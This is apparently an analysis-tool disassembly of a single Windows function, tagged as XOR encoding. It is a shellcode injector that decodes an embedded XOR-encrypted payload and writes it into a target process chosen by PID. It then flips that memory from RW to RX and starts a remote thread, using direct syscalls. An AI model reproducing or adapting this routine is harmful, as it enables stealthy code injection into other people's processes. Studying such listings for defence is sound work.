Function at 0x140001070
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str._Syscalls_Example___n
call fcn.140001010
cmp ebx, 2
je 0x1400010c4
mov rdx, qword [rdi]
lea rcx, str.____Usage:__s__pid_to_inject_into__n
call fcn.140001010
mov eax, 1
jmp 0x14000135c
mov rcx, qword [rdi + 8]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rbx, eax
test eax, eax
jne 0x1400010ef
mov rdx, qword [rdi + 8]
lea rcx, str.____Invalid_PID:__s_n
call fcn.140001010
mov eax, 1
jmp 0x14000135c
xorps xmm0, xmm0
mov qword [rbp - 0x19], rbx
xor eax, eax
mov dword [rbp + 0x1f], 0x30
xor edi, edi
mov qword [rbp + 0x47], rax
lea r9, [rbp - 0x19]
mov qword [rbp - 0x11], rdi
lea r8, [rbp + 0x1f]
mov edx, 0x1fffff
lea rcx, [rbp - 0x21]
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
call fcn.140001ef0
mov edx, ebx
test eax, eax
jns 0x140001146
mov r8d, eax
lea rcx, str.____Failed_to_open_process:__d__NTSTATUS:_0x_x_n
call fcn.140001010
mov eax, 1
jmp 0x14000135c
lea rcx, str.___Successfully_opened_process__d_n
call fcn.140001010
movdqa xmm2, xmmword [0x14000a550]
lea rax, [0x14000c090]
mov ecx, edi
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0xc0
jb 0x140001170
movsxd rax, ecx
lea rbx, [0x14000c080]
cmp rax, 0xfd
jae 0x1400011e1
add rax, rbx
nop dword [rax]
xor byte [rax], 0xb4
lea rax, [rax + 1]
inc ecx
cmp ecx, 0xfd
jb 0x1400011d0
mov edx, 0xfe
mov qword [rbp - 1], 0xfe
lea rcx, str.___Shellcode_length:__lld_n
call fcn.140001010
mov rax, qword [rbp - 1]
lea r9, [rbp + 7]
mov rcx, qword [rbp - 0x21]
lea rdx, [rbp - 0x29]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rbp + 7], rax
mov qword [rbp - 0x29], rdi
mov dword [rsp + 0x20], 0x3000
call fcn.140001bb0
test eax, eax
jns 0x140001246
mov edx, eax
lea rcx, str.____Failed_to_allocate_memory__NTSTATUS:_0x_x_n
call fcn.140001010
mov eax, 1
jmp 0x14000135c
mov r8, qword [rbp + 7]
lea rcx, str.___Successfully_allocated_RW_memory_at_0x_p_of_size__lld_n
mov rdx, qword [rbp - 0x29]
call fcn.140001010
mov r9, qword [rbp - 1]
lea rax, [rbp + 0x17]
mov rdx, qword [rbp - 0x29]
mov r8, rbx
mov rcx, qword [rbp - 0x21]
mov qword [rsp + 0x20], rax
call fcn.1400023f0
test eax, eax
jns 0x140001298
mov rdx, qword [rbp - 0x29]
lea rcx, str.____Failed_to_write_shellcode_to_memory_at_0x_p__NTSTATUS:_0x_x_n
mov r8d, eax
call fcn.140001010
mov eax, 1
jmp 0x14000135c
lea rcx, str.___Successfully_wrote_shellcode_to_memory_n
call fcn.140001010
mov rcx, qword [rbp - 0x21]
lea rax, [rbp + 0xf]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp - 1]
lea rdx, [rbp - 0x29]
call fcn.140002970
test eax, eax
jns 0x1400012e2
mov rdx, qword [rbp - 0x29]
lea rcx, str.____Failed_to_change_permission_to_RX_on_memory_at_0x_p__NTSTATUS:_0x_x_n
mov r8d, eax
call fcn.140001010
mov eax, 1
jmp 0x14000135c
lea rcx, str.___Successfully_changed_memory_protections_to_RX_n
call fcn.140001010
mov rax, qword [rbp - 0x29]
lea rcx, [rbp - 9]
mov r9, qword [rbp - 0x21]
xor r8d, r8d
mov qword [rsp + 0x50], rdi
mov edx, 0x20000000
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.1400043f0
test eax, eax
jns 0x140001342
mov edx, eax
lea rcx, str.____Failed_to_create_thread__NTSTATUS:_0x_x_n
call fcn.140001010
mov eax, 1
jmp 0x14000135c
lea rcx, str.___Successfully_created_thread_in_process_n
call fcn.140001010
lea rcx, str.___Shellcode_injected_using_syscalls__n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140008e80
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret